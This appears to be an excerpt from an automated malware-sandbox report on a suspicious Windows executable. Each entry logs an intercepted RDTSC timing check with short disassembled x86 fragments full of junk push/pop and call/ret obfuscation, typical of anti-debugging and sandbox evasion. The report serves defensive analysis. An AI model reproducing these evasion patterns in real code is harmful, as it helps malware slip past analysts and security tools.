Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 886691 second address: 886697 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 886697 second address: 8866AD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F33B0B7C6C8h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8866AD second address: 8866B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8866B2 second address: 8866DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F33B0B7C6D6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007F33B0B7C6C6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8866DB second address: 8866E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8866E1 second address: 88670A instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B0B7C6C8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F33B0B7C6D7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88670A second address: 88670F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 886810 second address: 886824 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F33B0B7C6CCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88E223 second address: 88E229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88E4EA second address: 88E4EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 88EA34 second address: 88EA38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890024 second address: 89002A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89002A second address: 8900AD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007F33B10E1B06h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push edi 0x00000011 pushad 0x00000012 jbe 00007F33B10E1B06h 0x00000018 jg 00007F33B10E1B06h 0x0000001e popad 0x0000001f pop edi 0x00000020 mov eax, dword ptr [eax] 0x00000022 push eax 0x00000023 push esi 0x00000024 jng 00007F33B10E1B06h 0x0000002a pop esi 0x0000002b pop eax 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 push eax 0x00000031 jnl 00007F33B10E1B0Ch 0x00000037 pop eax 0x00000038 pop eax 0x00000039 push 00000000h 0x0000003b push edx 0x0000003c call 00007F33B10E1B08h 0x00000041 pop edx 0x00000042 mov dword ptr [esp+04h], edx 0x00000046 add dword ptr [esp+04h], 00000018h 0x0000004e inc edx 0x0000004f push edx 0x00000050 ret 0x00000051 pop edx 0x00000052 ret 0x00000053 add dword ptr [ebp+122D221Ch], eax 0x00000059 jl 00007F33B10E1B0Bh 0x0000005f push 293F12DDh 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 jmp 00007F33B10E1B0Ah 0x0000006c pop edx 0x0000006d rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8900AD second address: 8900B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890723 second address: 890728 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890C77 second address: 890C7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890F6B second address: 890F6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890F6F second address: 890F94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jp 00007F33B0B7C6C8h 0x00000013 push esi 0x00000014 pop esi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890F94 second address: 890F9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F33B10E1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 890F9E second address: 890FA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8912F8 second address: 8912FD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89190A second address: 89190E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89190E second address: 891918 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F33B10E1B06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 891918 second address: 89191C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 893270 second address: 8932A8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F33B10E1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F33B10E1B1Ch 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 js 00007F33B10E1B06h 0x0000001b ja 00007F33B10E1B06h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8932A8 second address: 893338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F33B0B7C6C6h 0x00000009 jnp 00007F33B0B7C6C6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F33B0B7C6C8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000015h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov edi, dword ptr [ebp+122D1F6Fh] 0x00000033 push 00000000h 0x00000035 push 00000000h 0x00000037 push edi 0x00000038 call 00007F33B0B7C6C8h 0x0000003d pop edi 0x0000003e mov dword ptr [esp+04h], edi 0x00000042 add dword ptr [esp+04h], 0000001Dh 0x0000004a inc edi 0x0000004b push edi 0x0000004c ret 0x0000004d pop edi 0x0000004e ret 0x0000004f jmp 00007F33B0B7C6CDh 0x00000054 push 00000000h 0x00000056 jmp 00007F33B0B7C6D5h 0x0000005b xchg eax, ebx 0x0000005c jng 00007F33B0B7C6D8h 0x00000062 push eax 0x00000063 push edx 0x00000064 jc 00007F33B0B7C6C6h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 893338 second address: 89333C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 894A85 second address: 894A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 894A89 second address: 894AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007F33B10E1B08h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 0000001Ah 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push 00000000h 0x0000002a jnp 00007F33B10E1B12h 0x00000030 jp 00007F33B10E1B0Ch 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+122D2D83h], edx 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F33B10E1B14h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 894AEC second address: 894AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 896063 second address: 896076 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jc 00007F33B10E1B08h 0x0000000e push esi 0x0000000f pop esi 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89B590 second address: 89B596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 84850C second address: 848533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F33B10E1B06h 0x0000000a popad 0x0000000b jmp 00007F33B10E1B11h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jc 00007F33B10E1B0Ch 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 848533 second address: 848537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89C100 second address: 89C105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89C639 second address: 89C63E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89C7B9 second address: 89C7BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89D7F0 second address: 89D804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89C89E second address: 89C8A3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89E7AE second address: 89E835 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F33B0B7C6C8h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 0000001Bh 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 mov bx, di 0x00000024 push dword ptr fs:[00000000h] 0x0000002b clc 0x0000002c mov dword ptr fs:[00000000h], esp 0x00000033 sbb di, 00A3h 0x00000038 mov eax, dword ptr [ebp+122D0951h] 0x0000003e push 00000000h 0x00000040 push ebx 0x00000041 call 00007F33B0B7C6C8h 0x00000046 pop ebx 0x00000047 mov dword ptr [esp+04h], ebx 0x0000004b add dword ptr [esp+04h], 00000016h 0x00000053 inc ebx 0x00000054 push ebx 0x00000055 ret 0x00000056 pop ebx 0x00000057 ret 0x00000058 pushad 0x00000059 stc 0x0000005a jmp 00007F33B0B7C6CDh 0x0000005f popad 0x00000060 push FFFFFFFFh 0x00000062 and bx, 26EFh 0x00000067 nop 0x00000068 push eax 0x00000069 push edx 0x0000006a jns 00007F33B0B7C6C8h 0x00000070 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89E835 second address: 89E83A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A055D second address: 8A0563 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 89E83A second address: 89E853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jne 00007F33B10E1B0Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A0563 second address: 8A05A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c sub dword ptr [ebp+122D3194h], ebx 0x00000012 push 00000000h 0x00000014 sub di, 2481h 0x00000019 push 00000000h 0x0000001b jmp 00007F33B0B7C6CDh 0x00000020 xchg eax, esi 0x00000021 pushad 0x00000022 jo 00007F33B0B7C6C8h 0x00000028 pushad 0x00000029 popad 0x0000002a jg 00007F33B0B7C6CCh 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A15BE second address: 8A15C4 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A15C4 second address: 8A15C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A0815 second address: 8A0819 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A0819 second address: 8A083C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F33B0B7C6D1h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jng 00007F33B0B7C6C8h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A2673 second address: 8A2677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A1887 second address: 8A1891 instructions: 0x00000000 rdtsc 0x00000002 js 00007F33B0B7C6CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A3767 second address: 8A376D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A47C5 second address: 8A47CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A392C second address: 8A3936 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F33B10E1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A47CB second address: 8A481E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov di, 1041h 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ebx 0x00000014 call 00007F33B0B7C6C8h 0x00000019 pop ebx 0x0000001a mov dword ptr [esp+04h], ebx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ebx 0x00000027 push ebx 0x00000028 ret 0x00000029 pop ebx 0x0000002a ret 0x0000002b add dword ptr [ebp+122D2596h], edx 0x00000031 push 00000000h 0x00000033 or bl, FFFFFF93h 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push esi 0x0000003a jmp 00007F33B0B7C6D4h 0x0000003f pop esi 0x00000040 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A3936 second address: 8A394D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F33B10E1B0Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A481E second address: 8A4843 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B0B7C6D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d jne 00007F33B0B7C6C6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A4843 second address: 8A4847 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A57CF second address: 8A57D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A78EC second address: 8A791F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jbe 00007F33B10E1B06h 0x0000000d pop esi 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 mov dword ptr [ebp+122D2D08h], edx 0x00000018 push 00000000h 0x0000001a mov edi, dword ptr [ebp+122D3967h] 0x00000020 push 00000000h 0x00000022 mov ebx, dword ptr [ebp+122D3A43h] 0x00000028 xchg eax, esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jbe 00007F33B10E1B08h 0x00000031 push edx 0x00000032 pop edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A8942 second address: 8A8946 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A8946 second address: 8A895F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F33B10E1B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A5A2B second address: 8A5A2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A6A35 second address: 8A6A40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F33B10E1B06h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A895F second address: 8A8965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A8965 second address: 8A8969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A6B18 second address: 8A6B1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A8969 second address: 8A89D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007F33B10E1B0Eh 0x0000000f pushad 0x00000010 jmp 00007F33B10E1B18h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 popad 0x00000019 nop 0x0000001a jno 00007F33B10E1B0Bh 0x00000020 push 00000000h 0x00000022 mov dword ptr [ebp+122D29A7h], edx 0x00000028 jo 00007F33B10E1B0Eh 0x0000002e pushad 0x0000002f movsx esi, cx 0x00000032 movsx ebx, dx 0x00000035 popad 0x00000036 push 00000000h 0x00000038 mov dword ptr [ebp+1244ED52h], edx 0x0000003e xchg eax, esi 0x0000003f pushad 0x00000040 push ecx 0x00000041 pushad 0x00000042 popad 0x00000043 pop ecx 0x00000044 push eax 0x00000045 push edx 0x00000046 jc 00007F33B10E1B06h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A89D6 second address: 8A89E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A89E4 second address: 8A89E9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A9B04 second address: 8A9B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A9B0A second address: 8A9B0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8A9C50 second address: 8A9C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F33B0B7C6C6h 0x0000000a popad 0x0000000b jbe 00007F33B0B7C6CCh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8AB965 second address: 8AB9E0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F33B10E1B06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F33B10E1B15h 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F33B10E1B14h 0x00000016 nop 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F33B10E1B08h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D2E1Ah], ecx 0x00000037 push 00000000h 0x00000039 mov edi, 45C7E0F7h 0x0000003e mov edi, 6AFC3F6Ch 0x00000043 push 00000000h 0x00000045 mov edi, dword ptr [ebp+122D2360h] 0x0000004b push eax 0x0000004c push eax 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8AB9E0 second address: 8AB9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8AACB1 second address: 8AACC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F33B10E1B06h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jbe 00007F33B10E1B06h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8AACC8 second address: 8AACCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8ABBBD second address: 8ABBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\yiDQb6GkBq.exe	RDTSC instruction interceptor: First address: 8B4D69 second address: 8B4D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jnp 00007F33B0B7C6C6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
